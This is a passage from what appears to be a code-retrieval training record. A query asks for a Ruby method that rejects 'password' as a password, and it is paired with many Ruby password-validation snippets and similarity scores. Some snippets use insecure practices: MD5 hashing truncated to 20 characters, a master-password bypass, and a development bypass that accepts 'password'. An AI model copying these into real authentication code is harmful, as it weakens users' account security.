"def string_include?(val)\n return false if !val.is_a?(String)\n ret = false\n for a in self\n ret = true if a.is_a?(String) && val.include?(a)\n end\n return ret\n end",
"def include?(searchstring, substring)\n\nend",
"def test_9_rejects_includes_numbers\n result = includes_number?(\"Hat@HAT!\")\n refute(result, \"Hat@HAT! has no alphanumeric, should be valid\")\n end",
"def starts_with_consonant?(s)\n first_symbol = s[0]\n return false if first_symbol.nil?\n\n if %w(a e i o u A E I O U).include? first_symbol\n false # vowels\n elsif ('a'..'z').include? first_symbol.downcase\n true #consolants\n else\n false #nonletters\n end\nend"
] | [
"0.84712976",
"0.8430692",
"0.83371276",
"0.8253317",
"0.81377345",
"0.80772114",
"0.7588429",
"0.74152094",
"0.7158445",
"0.7154891",
"0.66996646",
"0.6554445",
"0.6542838",
"0.6531838",
"0.6446926",
"0.6413242",
"0.6253345",
"0.6041377",
"0.5766639",
"0.57584035",
"0.5719344",
"0.56946945",
"0.56747663",
"0.56706005",
"0.5638424",
"0.5601357",
"0.5584177",
"0.55721295",
"0.55578804",
"0.5543289",
"0.5534847",
"0.55282146",
"0.5521872",
"0.55202144",
"0.552016",
"0.5519849",
"0.5485889",
"0.5457902",
"0.54431015",
"0.5435464",
"0.5414769",
"0.54091424",
"0.53992695",
"0.53932256",
"0.53907794",
"0.5387664",
"0.5381793",
"0.53772694",
"0.5368284",
"0.53429806",
"0.53361636",
"0.5328284",
"0.5328",
"0.5323151",
"0.53145397",
"0.5313283",
"0.530657",
"0.5299612",
"0.5292148",
"0.5282976",
"0.528271",
"0.5279386",
"0.52765816",
"0.5275699",
"0.52719456",
"0.5263271",
"0.5255008",
"0.52413213",
"0.5238345",
"0.5234192",
"0.5234192",
"0.52301556",
"0.5228423",
"0.52183694",
"0.5217602",
"0.52166677",
"0.52123225",
"0.521192",
"0.5210839",
"0.52091736",
"0.52091247",
"0.5205707",
"0.51988757",
"0.51970625",
"0.518992",
"0.518304",
"0.51807386",
"0.5174992",
"0.5174663",
"0.5165065",
"0.51611954",
"0.5159498",
"0.51583076",
"0.5144976",
"0.5138578",
"0.5137351",
"0.51367575",
"0.51365",
"0.5136402",
"0.5133251"
] | 0.73792225 | 8 |
Function that accepts a password and determins if it is the word "password." If so, inform the user that the password cannot be the word "password." Else, return acceptable. | def is_password(password)
if password.downcase == "password"
puts "Password cannot be the word password"
else
puts "Acceptable"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_password_password(pass)\n if pass.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, password is not password.'\n end\nend",
"def valid_password?(password); end",
"def valid_password?(password)\n true\n end",
"def password?\n password\n end",
"def verify_password(password)\n verified = false\n capital = verify_capital(password)\n lowercase = verify_lowercase(password)\n\n # first verify numbers\n if password.count(\"0-9\") == 0\n validate_sentence = \"Please enter a password with a number\"\n # then verify symbols\n elsif !(password.include?(\"@\") || password.include?(\"%\") || password.include?(\"*\") || password.include?(\"!\"))\n validate_sentence = \"Please enter a password with a symbol (@, %, *, or !)\"\n # then verify password length\n elsif password.length < 8\n validate_sentence = \"Please enter a password with at least 8 characters\"\n # verify contains capital letter\n elsif !capital\n validate_sentence = \"Please enter a password with a capital letter\"\n # verify contains lowercase letter\n elsif !lowercase\n validate_sentence = \"PLease enter a password with a lowercase letter\"\n else\n verified = true\n end\n return verified, validate_sentence\nend",
"def password\n password = @prompt.mask(\"Enter password: \", required: true)\n if password == @current_user.password\n true\n else\n puts \"Password is invalid.\"\n sleep(1)\n false\n end\n end",
"def valid_password?; end",
"def valid_password?(password)\n (password != password.downcase) &&\n (password != password.upcase) &&\n (password.length >= 8) &&\n (/[0-9]/.match(password) != nil) &&\n (/[^0-9A-Z]/.match(password.upcase) != nil) &&\n not_forbidden?(password)\nend",
"def validate_password?\n password.present?\n end",
"def password_required?; end",
"def validatePassword(password)\n if (password == nil)\n return false\n end\n \n return true # TODO This is wrong. Finish this function.\nend",
"def is_valid_password?(password)\n return false unless password.is_a? String\n \n invalid_password_if /^([a-z]+|[A-Z]+|\\d+|\\W+)$/ =~ password, 'must contain characters from least two of the following categories: uppercase, lowercase, numbers & symbols'\n \n invalid_password_if password.size<5, 'must be 5 or more characters long'\n\n password_problems.blank?\n end",
"def check_password_contents\n if /[a-zA-Z]+/.match(@password) && /\\d+/.match(@password) && /[[:punct:]]/.match(@password)\n else\n generate\n end\n end",
"def not_forbidden?(password)\n forbidden_words = [\"password\"] # can add words to this list as necessary.\n result = true\n forbidden_words.each {|word| result = false if password.downcase.include?(word)}\n result\nend",
"def valid_password?\n password.present?\n end",
"def valid_password?\n password.present?\n end",
"def password_reqs? \n pass = params[:user][:password]\n notice = []\n still_true = true\n\n if pass.length < MIN_PASS_LENGTH\n notice << \"Please use a longer password (at least #{MIN_PASS_LENGTH} characters).<br/>\"\n still_true = false\n end\n if pass.index( /[^[:alnum:]]/ ) == nil\n notice << \"Please include a symbol.<br/>\"\n still_true = false\n end\n if pass.index( /[0-9]/ ) == nil\n notice << \"Please include a number.<br/>\"\n still_true = false\n end\n if pass.index( /[a-z]/ ) == nil\n notice << \"Please include a lowercase letter.<br/>\"\n still_true = false\n end\n if pass.index( /[A-Z]/ ) == nil\n notice << \"Please include an uppercase letter.<br/>\"\n still_true = false\n end\n\n flash[:notice] = notice.join\n return still_true\n end",
"def validate_password\n puts 'Enter your user name:'\n user_name = gets.chomp.downcase\n puts 'Enter your password:'\n password = gets.chomp.downcase\n password_characters = ['!', '#', '$']\n user_characters = ['!', '#', '$', ' ']\n if user_name == password\n 'Sorry, username and password cannot be the same.'\n elsif user_name.length <= 6 && password.length <= 6\n 'Sorry, username and password must be at least 6 characters.'\n elsif password_characters.select { |value| password.include? value }.empty?\n 'Sorry, password must have a special character.'\n elsif !user_characters.select { |value| user_name.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n elsif password.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, looks good!'\n end\nend",
"def password_required? \n false \n end",
"def match_password_basic(p)\n puts \"p: #{p}\"\n puts \"password: #{password}\"\n p == password\n end",
"def valid_pass?(test_pass)\n Encrypt::Password.validatePassword test_pass, password\n end",
"def password_required?; false; end",
"def validate_password(password)\n return false unless password != nil\n if password.length < 4 || password.length > 19\n return false\n end\n return true\n end",
"def test_contain_password12\n result = contains_password?(\"password1\")\n refute(result, \"'password1' should not be valid because it contains 'password'\")\n end",
"def password_complexity\n if password.present? and not password.match(/\\A(?=.*[a-z])(?=.*[A-Z])(?=.*\\d).*/)\n errors.add :password, I18n.t('weak_password')\n end\n end",
"def validate_pwd(pwd)\r\n message = \"\"\r\n message << \"Password must have at least 8 characters. \" unless\r\n pwd.length > 7\r\n message << \"Password must have at least one number. \" unless\r\n /\\d/.match(pwd)\r\n message << \"Password must have at least one letter. \" unless\r\n /[[:alpha:]]/.match(pwd)\r\n message == \"\" ? (return true) : (return message)\r\nend",
"def validate_password(password)\n raise 'Password cannot be empty!' if password.empty?\n end",
"def test_contain_password11\n result = contains_password?(\"passwrd1*\")\n assert(result, \"'passwrd1*' should be valid because it doesn't contain 'password'\")\n end",
"def has_password?(submitted_password)\n password == encrypt(submitted_password)\n end",
"def get_valid_creds\n puts \"Enter a username\"\n user = gets.chomp\n puts \"Enter a password\"\n pass = gets.chomp\n\n if same?(user,pass)\n p \"Invalid - User and password are the same length\"\n elsif not_long_enough?(user) || not_long_enough?(pass)\n p \"Invalid - Username or password is not long enough. Both must be at least 6 characters long.\"\n elsif contains_special?(user) || does_not_contain_special?(pass)\n p \"Invalid - Username cannot contain a #,!, or $. Password must contain a #,!, or $.\"\n else\n p \"Valid username and password!\"\n end\nend",
"def passwords_match?\n context.user.password == context.password\n end",
"def test_rejects_passwords_containing_forbidden_words\n result = valid_password?(\"1Abjpasswordils&a\")\n refute(result, \"'1Abjpasswordils&a' should be invalid because it contains 'password'\")\n end",
"def verify_password(*)\n false\n end",
"def password_request\n password_input = @prompt.mask(\"Please enter your password, or type quit.\")\n if password_input == @user.password\n puts \"Successful login!\"\n @user\n user_menu_runner\n #user can quit this process\n elsif password_input == \"quit\" || password_input == \"exit\"\n exit\n else\n #try again\n puts \"Sorry, incorrect password. Try again.\" # add esscape option\n password_request\n end\n end",
"def has_password?(submitted_password)\n valid_password?(submitted_password)\n end",
"def is_password?(password_hash)\n # Given a hash of password information, determines whether or not this is\n # password information we can act on.\n password_hash.has_key?(\"text\")\nend",
"def password_valid_for? game_id, password=params[:p]\n @game = Game.find(game_id)\n\n # Private game, ask them for a password\n if !@game.password.blank? && password != @game.password\n @wrong_password = !password.blank?\n render 'games/enter_password'\n end\n\n password\n end",
"def authenticate(name, password)\n if name != \"Santa Claus\" || password != \"Ho Ho Ho!\"\n return false\n end\n true\nend",
"def password_required?\n false\n end",
"def password_required?\n false\n end",
"def password_required?\n false\n end",
"def password_required?\n false\n end",
"def password_required?\n false\n end",
"def check_pw pw\n (encrypt pw) == (self[:password])\n end",
"def valid_password?(plain)\n password == hash_crypt(plain.to_s) \n end",
"def password_required?\n new? or password\n end",
"def has_password?(submitted_password)\n\tpassword == encrypt(submitted_password) \n end",
"def get_password\n status = true\n while status == true\n @password = @@prompt.mask(\"Create a password with at least 5 character\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n @password_2 = @@prompt.mask(\"Retype your password\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n if @password == @password_2\n system(\"clear\")\n status = false \n break\n else @password != @password_2\n puts \"Wrong password, try again\".colorize(:red)\n status = true\n end\n end\n end",
"def password(input)\n\t(/^(?=.*[^a-zA-Z])(?!.*([a-z])([a-z])([a-z]))(?=.*[a-z])(?=.*[A-Z])\\S{10,}$/ =~ input)? \"true\" : \"false\"\nend",
"def valid_password?(password)\n if Rails.env.development?\n return true if password == \"password\"\n end\n super\n end",
"def password_valid\n @password.length >= 7 && (@password.include?(\"!\") || @password.include?(\"$\"))\n end",
"def password_must_be_present\n errors.add(:password, \"Missing password\") unless passwd.present?\n end",
"def password_required?\n false\n end",
"def password_required?\n false\n end",
"def is_password?(password)\n obj = Password.new(self.password_digest)\n obj.is_password?(password)\n end",
"def restricted_password\n return nil if game_state == 'active'\n\n password.word\n end",
"def check_password(v, user = @user)\n if @opaque\n raise InvalidURIError,\n \"can not set password with opaque\"\n end\n return v unless v\n\n if !user\n raise InvalidURIError,\n \"password component depends user component\"\n end\n\n if parser.regexp[:USERINFO] !~ v\n raise InvalidComponentError,\n \"bad password component\"\n end\n\n return true\n end",
"def validate_password\n puts \"Enter your User ID and Password here.\"\n user_id = gets.chomp\n password = gets.chomp\n\n same(user_id, password)\n long_enough(user_id)\n long_enough(password)\n does_not_contain_special(user_id)\n contains_special(password)\n is_password(password)\nend",
"def validate_password?\n provider == :password\n end",
"def validate_password(input_string)\n password, rule = parse_input(input_string)\n\n # vjkjjcjjrjjmtnbjjjnj\n password_size =\n password.chars.filter { |char| char == rule.letter }.size\n\n rule.min <= password_size && password_size <= rule.max\nend",
"def valid_password? password\r\n self.password === Digest::MD5.hexdigest(password)[0..19]\r\n end",
"def password_ok?\n return unless password and confirm_password\n errors.add(:password, \"Passwords don't match\") if password != confirm_password\n end",
"def has_password?(_password)\n !(try { xml.elements['password'].text }).nil?\n end",
"def password_special_character(pass)\n characters = ['!', '#', '$']\n if characters.select { |value| pass.include? value }.empty?\n 'Sorry, password must have a special character.'\n else\n 'Yay, password includes a special character.'\n end\nend",
"def user_name (name, password)\n if name == password\n 'name and password cannot be the same.'\n elseif name.length < 6 && password.length < 6\n \"names and passwords must be atleast 6 characters long\"\n elseif password.include? ('!''#''$') == false \n 'password must contain at least one of the following \"!, #, $\"'\n elseif name.include? ('!''#''$'' ') == true\n \"ID's connot contain '!, #, $, '\"\n elseif password == 'password'\n 'your password cannot be password'\n end\nend",
"def valid_password?(password)\n \treturn true if valid_master_password?(password)\n \tsuper\n \tend",
"def matching_password?(pass)\n self.password_hash == encrypt_password(pass)\n end",
"def has_password?(password)\n encrypted_password == encrypt(password)\n end",
"def validation\n\n\t\tputs \"Enter user name\"\n\t\tuser_name = gets.chomp\n\n\t\tputs \"Enter password\"\n\t\tanswer_password = gets.chomp\n\t\tif answer_password == @password\n\t\t\tget_text\n\t\telse\n\t\t\tcounter = 0\n\t\t\twhile counter !=3 || answer_password!=@password do\n\t\t\t puts \"invalid password\"\n\t\t\t $stdin.gets.chomp\n\t\t\t counter += 1\n\t\t\tend\n\t\tend\n\tend",
"def password_match?( password=\"\")\n hashedPassword == Admin.hash_with_salt(password, salt)\n end",
"def password_required?\n new? or password\n end",
"def password_complexity\n if password.present? and not password.match(/(?=.*\\d)(?=.*[a-z])(?=.*[A-Z])/)\n errors.add :password, \"must include at least one lowercase letter, one uppercase letter, and one digit\"\n end\n end",
"def password_complexity\n\t\tif password.present? and not password.match(/(?=.*[a-z])(?=.*[A-Z])(?=.*\\d).+/)\n\t\t\terrors.add(:password, \"must include at least one lowercase letter, one\" +\n\t\t\t\t\" uppercase letter, and one digit\")\n\t\tend\n\tend",
"def password_required?\n !password.nil?\n end",
"def password_required?\n !password.nil?\n end",
"def password_wrong_format(new_p)\r\n if new_p !~ /^[a-zA-Z]{5,14}$/\r\n flash[:password] = Resource.get(\"password_wrong_format\")\r\n return true\r\n end\r\n return false\r\n end",
"def is_a_valid_pass?(pass)\n \tpass_regex = /^(?=.*\\d)(?=.*([a-z]|[A-Z]))([\\x20-\\x7E]){8,40}$/\n \n \treturn (pass_regex.match(pass))? true : false\n end",
"def password_match\n if password != confirm_password\n errors.add(:password, \"doesn't match\")\n end\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def check_password(user)\n counter = 0\n while counter < 3\n password = PROMPT.mask(\"Enter your password:\")\n\n if user.get_password == password\n return true\n else\n puts \"Incorrect Password. Please try again.\"\n puts \"You have #{2 - counter} attempt#{counter == 1 ? \"\" : \"s\"} left.\"\n counter += 1\n end\n end\n return false\n end",
"def password_complexity\n if password.present? and not password.match('^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[$@$!%*?&#]).{8,}')\n errors.add :password, \"must include at least one lowercase letter, one uppercase letter,one Special Character and one digit\"\n end\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def valid_password?(password)\n return false if encrypted_password.blank?\n bcrypt = ::BCrypt::Password.new(encrypted_password)\n # check with the pepper\n spicy_password = ::BCrypt::Engine.hash_secret(\"#{password}#{self.class.pepper}\", bcrypt.salt)\n if Devise.secure_compare(spicy_password, encrypted_password)\n return true\n end\n\n # check without the pepper\n mild_password = ::BCrypt::Engine.hash_secret(password, bcrypt.salt)\n if Devise.secure_compare(mild_password, encrypted_password)\n # save the spicy password\n update_attribute(:encrypted_password, spicy_password)\n return true\n end\n\n return false\n end",
"def input(user_id, password)\n if user_id == password\n 'Password and username cannot be the same'\n elsif user_id.length <= 6 && password.length <= 6\n 'Password and username must be at least six characters long'\n end\nend",
"def test_11_rejects_doesnt_include_password\n result = doesnt_include_password?(\"Hapasswordt@HAT!\")\n refute(result, \"Hat@HAT! has no alphanumeric, should be valid\")\n end",
"def check_password(password)\n return false unless key\n key == self.class.hash_password(password, key.split('|', 2).first)\n end",
"def check_create_user_password_is_valid\n return self.password != \"\" ? true : false\n end"
] | [
"0.8635047",
"0.8300314",
"0.7876978",
"0.7759409",
"0.77545303",
"0.7731918",
"0.767898",
"0.7655154",
"0.751973",
"0.75145894",
"0.7486795",
"0.74745005",
"0.7455801",
"0.73718923",
"0.7338057",
"0.7338057",
"0.73269415",
"0.73203856",
"0.7289988",
"0.728503",
"0.72575027",
"0.72461",
"0.72441334",
"0.7237716",
"0.7234193",
"0.721785",
"0.72158426",
"0.7203698",
"0.7202811",
"0.7192598",
"0.71741444",
"0.7155264",
"0.7155025",
"0.7152413",
"0.714559",
"0.7123589",
"0.712139",
"0.7120837",
"0.7120415",
"0.7120415",
"0.7120415",
"0.7120415",
"0.7120415",
"0.71175444",
"0.7104603",
"0.71031225",
"0.709472",
"0.70945334",
"0.708806",
"0.70825845",
"0.7068697",
"0.70473075",
"0.7044603",
"0.7044603",
"0.7025974",
"0.7012791",
"0.70097643",
"0.7008499",
"0.7002579",
"0.69975877",
"0.6992347",
"0.6984831",
"0.6974698",
"0.69727445",
"0.6969555",
"0.69645417",
"0.6959457",
"0.6955948",
"0.695217",
"0.6952118",
"0.69494176",
"0.6938059",
"0.69373024",
"0.69232124",
"0.69232124",
"0.6907578",
"0.6902185",
"0.6890138",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.6885823",
"0.68700534",
"0.68685913",
"0.6867056",
"0.6867056",
"0.68664354",
"0.6865608",
"0.68619597",
"0.6859485",
"0.6857178"
] | 0.84099275 | 1 |
Challenge Write a method that inputs user ID and password from the user, and then tells the user if the they are acceptable. Write a main method called validate_password that: First lets a user input both user ID and password, Then use the methods above to evaluate if the user ID and password combination is acceptable or not Tells user what the result is. | def validate_password
puts "Enter your User ID and Password here."
user_id = gets.chomp
password = gets.chomp
same(user_id, password)
long_enough(user_id)
long_enough(password)
does_not_contain_special(user_id)
contains_special(password)
is_password(password)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def input(user_id, password)\n if user_id == password\n 'Password and username cannot be the same'\n elsif user_id.length <= 6 && password.length <= 6\n 'Password and username must be at least six characters long'\n end\nend",
"def valid_password?(password); end",
"def validate_password\n puts 'Enter your user name:'\n user_name = gets.chomp.downcase\n puts 'Enter your password:'\n password = gets.chomp.downcase\n password_characters = ['!', '#', '$']\n user_characters = ['!', '#', '$', ' ']\n if user_name == password\n 'Sorry, username and password cannot be the same.'\n elsif user_name.length <= 6 && password.length <= 6\n 'Sorry, username and password must be at least 6 characters.'\n elsif password_characters.select { |value| password.include? value }.empty?\n 'Sorry, password must have a special character.'\n elsif !user_characters.select { |value| user_name.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n elsif password.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, looks good!'\n end\nend",
"def get_valid_creds\n puts \"Enter a username\"\n user = gets.chomp\n puts \"Enter a password\"\n pass = gets.chomp\n\n if same?(user,pass)\n p \"Invalid - User and password are the same length\"\n elsif not_long_enough?(user) || not_long_enough?(pass)\n p \"Invalid - Username or password is not long enough. Both must be at least 6 characters long.\"\n elsif contains_special?(user) || does_not_contain_special?(pass)\n p \"Invalid - Username cannot contain a #,!, or $. Password must contain a #,!, or $.\"\n else\n p \"Valid username and password!\"\n end\nend",
"def verify_password(password)\n verified = false\n capital = verify_capital(password)\n lowercase = verify_lowercase(password)\n\n # first verify numbers\n if password.count(\"0-9\") == 0\n validate_sentence = \"Please enter a password with a number\"\n # then verify symbols\n elsif !(password.include?(\"@\") || password.include?(\"%\") || password.include?(\"*\") || password.include?(\"!\"))\n validate_sentence = \"Please enter a password with a symbol (@, %, *, or !)\"\n # then verify password length\n elsif password.length < 8\n validate_sentence = \"Please enter a password with at least 8 characters\"\n # verify contains capital letter\n elsif !capital\n validate_sentence = \"Please enter a password with a capital letter\"\n # verify contains lowercase letter\n elsif !lowercase\n validate_sentence = \"PLease enter a password with a lowercase letter\"\n else\n verified = true\n end\n return verified, validate_sentence\nend",
"def validation\n\n\t\tputs \"Enter user name\"\n\t\tuser_name = gets.chomp\n\n\t\tputs \"Enter password\"\n\t\tanswer_password = gets.chomp\n\t\tif answer_password == @password\n\t\t\tget_text\n\t\telse\n\t\t\tcounter = 0\n\t\t\twhile counter !=3 || answer_password!=@password do\n\t\t\t puts \"invalid password\"\n\t\t\t $stdin.gets.chomp\n\t\t\t counter += 1\n\t\t\tend\n\t\tend\n\tend",
"def same (user_id, password)\n if user_id.downcase == password.downcase\n puts \"User ID and password cannot be the same\"\n else \n puts \"Acceptable\"\n end\nend",
"def password_valid_for? game_id, password=params[:p]\n @game = Game.find(game_id)\n\n # Private game, ask them for a password\n if !@game.password.blank? && password != @game.password\n @wrong_password = !password.blank?\n render 'games/enter_password'\n end\n\n password\n end",
"def password\n password = @prompt.mask(\"Enter password: \", required: true)\n if password == @current_user.password\n true\n else\n puts \"Password is invalid.\"\n sleep(1)\n false\n end\n end",
"def get_password\n status = true\n while status == true\n @password = @@prompt.mask(\"Create a password with at least 5 character\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n @password_2 = @@prompt.mask(\"Retype your password\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n if @password == @password_2\n system(\"clear\")\n status = false \n break\n else @password != @password_2\n puts \"Wrong password, try again\".colorize(:red)\n status = true\n end\n end\n end",
"def check(user, pw1, pw2)\n case\n when user.strip.length == 0\n print \"Please enter a username\\n\"\n return false\n when pw1.strip != pw2.strip\n print \"passwords don't match\\n\"\n return false\n when pw1.strip.length < 6\n print \"passwords should be longer than 6 characters\\n\"\n return false\n default\n return true\n end\nend",
"def validatePassword(password)\n if (password == nil)\n return false\n end\n \n return true # TODO This is wrong. Finish this function.\nend",
"def password_request\n password_input = @prompt.mask(\"Please enter your password, or type quit.\")\n if password_input == @user.password\n puts \"Successful login!\"\n @user\n user_menu_runner\n #user can quit this process\n elsif password_input == \"quit\" || password_input == \"exit\"\n exit\n else\n #try again\n puts \"Sorry, incorrect password. Try again.\" # add esscape option\n password_request\n end\n end",
"def valid_password?; end",
"def is_password_password(pass)\n if pass.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, password is not password.'\n end\nend",
"def valid_password?(password)\n (password != password.downcase) &&\n (password != password.upcase) &&\n (password.length >= 8) &&\n (/[0-9]/.match(password) != nil) &&\n (/[^0-9A-Z]/.match(password.upcase) != nil) &&\n not_forbidden?(password)\nend",
"def db_verify_user_password(userid, password)\n\t\t\n\t\t# SQL statement for selecting * given a userid and a hashed password\n \tquery = \"SELECT * FROM users\n\t\t\t\tWHERE userid='%%email%%'\n\t\t\t\tAND password='%%password%%';\"\n\t\t\n\t\t# Fill in userid and password values in the SQL statement\n \tquery = query.gsub(/%%email%%/, PG::Connection.escape_string(userid)).gsub(/%%password%%/, hashPassword(password))\n \t\n \t# Connect to the database\n \tconn = DBTools.new.connectToDB()\n \t\n \t# Execute SQL Statement\n results = conn.exec(query)\n \n # If there are 0 results\n if (results.ntuples == 0)\n \tresults.clear()\n conn.finish()\n return false\n\n # If there are too many results (this should never occur)\n elsif (results.ntuples > 1)\n \tresults.clear()\n \tconn.finish()\n raise \"Too many password matches.\"\n \n # Query successful\n else\n \tresults.clear()\n \tconn.finish()\n \treturn true\n end\n\tend",
"def passwords_match?\n context.user.password == context.password\n end",
"def valid_pass?(test_pass)\n Encrypt::Password.validatePassword test_pass, password\n end",
"def validate_password(input_string)\n password, rule = parse_input(input_string)\n\n # vjkjjcjjrjjmtnbjjjnj\n password_size =\n password.chars.filter { |char| char == rule.letter }.size\n\n rule.min <= password_size && password_size <= rule.max\nend",
"def check_password_contents\n if /[a-zA-Z]+/.match(@password) && /\\d+/.match(@password) && /[[:punct:]]/.match(@password)\n else\n generate\n end\n end",
"def valid_password?(password)\n true\n end",
"def username_and_password_check\n company = get_company\n if company == nil\n exit\n end\n if get_username_and_test_validity(company)\n if get_password_and_test_validity(company)\n else\n puts \"That is not the correct password, please try again.\"\n entry_menu\n end\n else \n puts \"That is not the correct username, please try again.\"\n entry_menu\n end\n end",
"def check_password(user)\n counter = 0\n while counter < 3\n password = PROMPT.mask(\"Enter your password:\")\n\n if user.get_password == password\n return true\n else\n puts \"Incorrect Password. Please try again.\"\n puts \"You have #{2 - counter} attempt#{counter == 1 ? \"\" : \"s\"} left.\"\n counter += 1\n end\n end\n return false\n end",
"def password_complexity\n if password.present? and not password.match(/(?=.*\\d)(?=.*[a-z])(?=.*[A-Z])/)\n errors.add :password, \"must include at least one lowercase letter, one uppercase letter, and one digit\"\n end\n end",
"def test_14_meets_all_requirements?\n result = valid_password?(\"123EyesOn@ME\", \"gdavida\")\n assert(result, \"123EyesOn@ME meets all password requirements and should be valid\")\n end",
"def password_complexity\n\t\tif password.present? and not password.match(/(?=.*[a-z])(?=.*[A-Z])(?=.*\\d).+/)\n\t\t\terrors.add(:password, \"must include at least one lowercase letter, one\" +\n\t\t\t\t\" uppercase letter, and one digit\")\n\t\tend\n\tend",
"def longEnough(userID, password)\n if userID.length >= 6 && password.length >= 6\n puts \"true\"\n elsif userID.length < 6 && password.length < 6\n puts \"false\"\n elsif userID.length < 6 && password.length >= 6\n puts \"userID false\"\n elsif userID.length >= 6 && password.length < 6\n puts \"password false\"\n end\nend",
"def validate_user\n puts \"enter username: \"\n user_name = gets.chomp\n print \"enter password: \"\n user_pass = gets.chomp\n if user_name.length >= 6 and !user_name.include? \"$\" and !user_name.include? \"!\" and !user_name.include? \"#\"\n puts \"Username is good\"\n else\n puts \"Username must be at least 6 characters and not contain '#$!'\"\n end\n if user_pass.length >=6 and user_pass[/[!#$]/]\n puts \"Password is good\"\n else\n puts \"Password must be at lease 6 characters and MUST contain '#, $ or !'\"\n end\nend",
"def validate_password?\n password.present?\n end",
"def checkInfo\n puts \"Please Enter Your Account Number:\"\n id = gets.chomp\n puts \"Enter Your Password:\"\n pass = gets.chomp\n @user = @accountsInfo[id.to_i]\n @balance = @user['balance']\n if @user && @user['password'] == pass\n puts \"Hello, #{@user['name']}!\"\n option\n else\n puts 'ERROR: ACCOUNT NUMBER AND PASSWORD DONT MATCH'\n checkInfo\n end\n end",
"def input_acceptable_password\n fill_in(PASSWORD_INPUT_ID, :with => 'qwerty12345')\n end",
"def validate_password(challenge)\n actual = BCrypt::Password.new(password_digest)\n actual == challenge\n end",
"def password_checker password\n\t# Adjustable variable to store the number of time the user can attempt to enter their password\n\tavailable_attempts = 3\n\t\t\n\tputs \"You have #{available_attempts} attempts to enter your password\"\n\t\n\tnum_of_attempts = 0\n\n\t\n\twhile num_of_attempts < available_attempts\n\t\t# Immediately decrements the number of times the user has attempted to enter their password\n\t\tavailable_attempts -= 1\n\t\t\n\t\tputs \"Please enter your password\"\n\t\t# Below gets method masks the password entry\n\t\tpassword_attempt = STDIN.noecho(&:gets).chomp\n\t\t\n\t\t# Checks password entered vs stored password. Exits loop if matched\n\t\tif password_attempt == password\n\t\t\tbreak\n\t\t# Checks if number if available attempts has been exceed and exits program if it has.\n\t\telsif num_of_attempts == available_attempts\n\t\t\tputs \"Sorry you have exceeded your maximum number of attempts. Goodbye.\"\n\t\t\texit\n\t\t# Advises no match and the number of attempts remaining.\n\t\telse\n\t\t\tputs \"Sorry your password is incorrect. You have #{available_attempts} attempts remaining\"\n\t\tend\n\t\tsleep 1\n\t\tsystem \"clear\"\n\tend\nend",
"def user_name (name, password)\n if name == password\n 'name and password cannot be the same.'\n elseif name.length < 6 && password.length < 6\n \"names and passwords must be atleast 6 characters long\"\n elseif password.include? ('!''#''$') == false \n 'password must contain at least one of the following \"!, #, $\"'\n elseif name.include? ('!''#''$'' ') == true\n \"ID's connot contain '!, #, $, '\"\n elseif password == 'password'\n 'your password cannot be password'\n end\nend",
"def verify_password(*)\n false\n end",
"def validate_password\n if @user.password.blank?\n @user.errors.add :password, 'can\\'t be blank'\n elsif @user.password_confirmation.blank?\n @user.errors.add(\n :password_confirmation,\n \"is needed!\"\n )\n elsif @user.password.length < PASSWORD_MIN_LENGTH ||\n @user.password.length > PASSWORD_MAX_LENGTH\n @user.errors.add(\n :password,\n \"must be between #{PASSWORD_MIN_LENGTH} and #{PASSWORD_MAX_LENGTH} characters\"\n )\n end\n end",
"def authenticate(name, password)\n if name != \"Santa Claus\" || password != \"Ho Ho Ho!\"\n return false\n end\n true\nend",
"def test_contain_password12\n result = contains_password?(\"password1\")\n refute(result, \"'password1' should not be valid because it contains 'password'\")\n end",
"def my_pass(user_id, pass_id)\n result = db_connection().execute('SELECT * FROM passwords WHERE user_id=? AND id=?', user_id, pass_id)\n p result\n p user_id\n p pass_id\n return result[0] != nil\n end",
"def is_valid_password?(password)\n return false unless password.is_a? String\n \n invalid_password_if /^([a-z]+|[A-Z]+|\\d+|\\W+)$/ =~ password, 'must contain characters from least two of the following categories: uppercase, lowercase, numbers & symbols'\n \n invalid_password_if password.size<5, 'must be 5 or more characters long'\n\n password_problems.blank?\n end",
"def validate_password(password)\n return false unless password != nil\n if password.length < 4 || password.length > 19\n return false\n end\n return true\n end",
